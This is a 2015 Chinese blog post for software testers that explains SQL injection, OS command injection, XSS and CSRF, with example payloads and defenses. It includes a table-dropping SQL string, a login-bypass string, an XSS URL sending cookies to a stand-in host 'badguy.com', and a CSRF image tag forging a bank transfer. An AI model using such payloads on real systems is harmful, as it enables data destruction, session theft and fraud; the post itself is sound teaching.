空间管理您的位置: 51Testing软件测试网 » szdgz的个人空间 » 日志

Web很脆弱，SQL注入要了解

上一篇 / 下一篇 2015-03-02 15:32:40 / 个人分类：Web安全测试

SQL注入

所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。
通过一下的例子更形象的了解SQL注入：
有一个Login画面，在这个Login画面上有两个文本框分别用来输入用户名和密码，当用户点了登录按钮的时候，会对输入的用户名和密码进行验证。验证的SQL语句如下：
select * from student where username='输入的用户名' and password='输入的密码'
如果能够检索到数据，说明验证通过，否则验证不通过。

如果用户在用户名文本框中输入 ' or '1' = '1' or '1' = '1，则验证的SQL语句变成：

select * from student where username='' or '1' = '1' or '1' = '1' and password=''

如果用户在密码文本框中输入 1' or '1' = '1，则验证的SQL语句变成：

select * from student where username='' and password='1' or '1'='1'

以上两个SQL语句的where条件永远是成立的，所以验证永远是有效的。

如果在用户名文本框中输入 tom' ; drop table student-- ，则SQL语句变成：
[sql] view plaincopyprint?
1.       select * from student where username='tom' ; drop table student--' and password=''
这样就变成的两条SQL语句，执行完查询操作，接着直接把student表给删除了（双连接符表示注释）

如何防止SQL注入：
1.       永远不要信任用户的输入。对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和双"-"进行转换等。
2.       永远不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取
3.       永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接
4.       不要把机密信息直接存放，加密或者hash掉密码和敏感的信息
5.       应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装
6.       采用一些工具或网络平台检测是否存在SQL注入

OS命令注入

OS命令注入和SQL注入差不多，只不过SQL注入是针对数据库的，而OS命令注入是针对操作系统的。OS命令注入即能够在服务器上执行任意命令。
如何防止OS命令注入：
1.       不要调用外部程序。举个例子，在UNIX系统上，有一个叫CGI的程序，可以执行sendmail命令来发送邮件。也许你的web应用程序也有发送邮件的功能，通过直接调用CGI程序发送邮件非常的简单，但是不要这样做，因为在执行sendmail命令的同时，也会混杂进其他OS命令，正确的做法是使用发送邮件的library。
2.       过滤调、; ，[ ，] ，| ，< ，> ，\ 之类的符号
3.       设置用户的权限

XSS跨站脚本攻击

XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如JavaScript)，当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的，比如获取用户的Cookie，导航到恶意网站，携带木马等。
XSS攻击场景有以下两个方面：
1. Dom-Based XSS 漏洞。攻击过程如下
Tom 发现了Victim.com中的Search.asp页面有XSS漏洞，Search.asp的代码如下：

1.       <html>
2.       　　<title></title>
3.       　　<body>
4.       　　　　Results  for  <%Reequest.QueryString("term")%>
5.       　　　　...
6.       　　</body>
7.       </html>
Tom 先建立一个网站http://badguy.com，用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下)，通过某种方式(邮件，QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL，嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行，那么Monica在 victim.com网站的cookie，就会被发送到badguy网站中，这样Monica在victim.com 的信息就被Tom盗了
2. Stored XSS(存储式XSS漏洞)。该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞，攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能。

攻击过程如下

Alex 发现了网站A上有一个XSS 漏洞，该漏洞允许将攻击代码保存在数据库中，于是Alex发布了一篇文章，文章中嵌入了恶意JavaScript代码。其他人如Monica访问这片文章的时候，嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行，其会话cookie或者其他信息将被Alex盗走。
Dom-Based XSS漏洞威胁用户个体，而存储式XSS漏洞所威胁的对象将是大量的用户。
如何防止XSS跨站脚本攻击：
原则：不相信用户输入的数据
注意：攻击代码不一定在<script></script>中
1. 将重要的cookie标记为http only，这样的话Javascript 中的document.cookie语句就不能获取到cookie了

2. 只允许用户输入我们期望的数据。例如：年龄的textbox中，只允许用户输入数字，而数字之外的字符都过滤掉

3. 对数据进行Html Encode 处理。< 转化为 <、> 转化为 >、& 转化为 &、' 转化为 '、" 转化为 "、空格转化为  

4. 过滤或移除特殊的Html标签。例如：<script>、<iframe>、< for <、> for >、&quot for

5. 过滤JavaScript 事件的标签。例如 "onclick="、"onfocus" 等等

很多浏览器都加入了安全机制来过滤XSS（如下图，在ie中输入http://www.baidu.com/s?wd=<script>alert(document.cookie)</script>）

CSRF跨站请求伪造

CSRF（XSRF）尽管听起来很想XSS跨站脚本攻击，但是它于XSS完全不同。XSS是利用站点内的信任用户，而CSRF则是通过伪装来自受信任用户的请求来利用受信任的站点。
与XSS相比，CSRF攻击不大流行和难以防范，所以比XSS更具危险性。

以下是一个CSRF的例子

受害者 Bob 在银行有一笔存款，通过对银行的网站发送请求http://bank.example/withdraw?account=bob& amp;amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下，该请求发送到网站后，服务器会先验证该请求是否来自一个合法的 session，并且该 session 的用户 Bob 已经成功登陆。

黑客 Mallory 自己在该银行也有账户，他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行：http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob，他不能通过安全认证，因此该请求不会起作用。

这时，Mallory 想到使用 CSRF 的攻击方式，他先自己做一个网站，在网站中放入如下代码：<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory” />。并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时，上述 url 就会从 Bob 的浏览器发向银行，而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下，该请求会失败，因为他要求 Bob 的认证信息。

但是，如果 Bob 当时恰巧刚访问他的银行后不久，他的浏览器与银行网站之间的 session 尚未过期，浏览器的 cookie 之中含有 Bob 的认证信息。这时，悲剧发生了，这个 url 请求就会得到响应，钱将从 Bob 的账号转移到 Mallory 的账号，而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了，即使他去银行查询日志，他也只能发现确实有一个来自于他本人的合法请求转移了资金，没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。

如何防止CSRF跨站请求伪造：
1. 对于web站点，将持久化的授权方法（例如cookie或者HTTP授权）切换为瞬时的授权方法（在每个form中提供隐藏field）。

2. “双提交”cookie。此方法只工作于Ajax请求，但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form. post之前正被JavaScript代码读取，那么限制跨域规则将被应用。什么叫限制跨域规则呢？限制跨域规则就是：如果服务器需要在Post请求体或者URL中包含授权cookie的请求，那么这个请求必须来自于受信任的域，因为其它域是不能从信任域读取cookie的。上面那个例子的受信任域就是银行网站的某个域，而Mallory发给Bob的链接不是受信任的域。

3. 使用Post代替Get。Post方式不会在web服务器和**服务器日志中留下数据尾巴，然而Get方式却会留下数据尾巴。

4. 以上三点都是正对web站点的防御手段，第4点是从用户的角度的防御手段。通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie来防止CSRF攻击。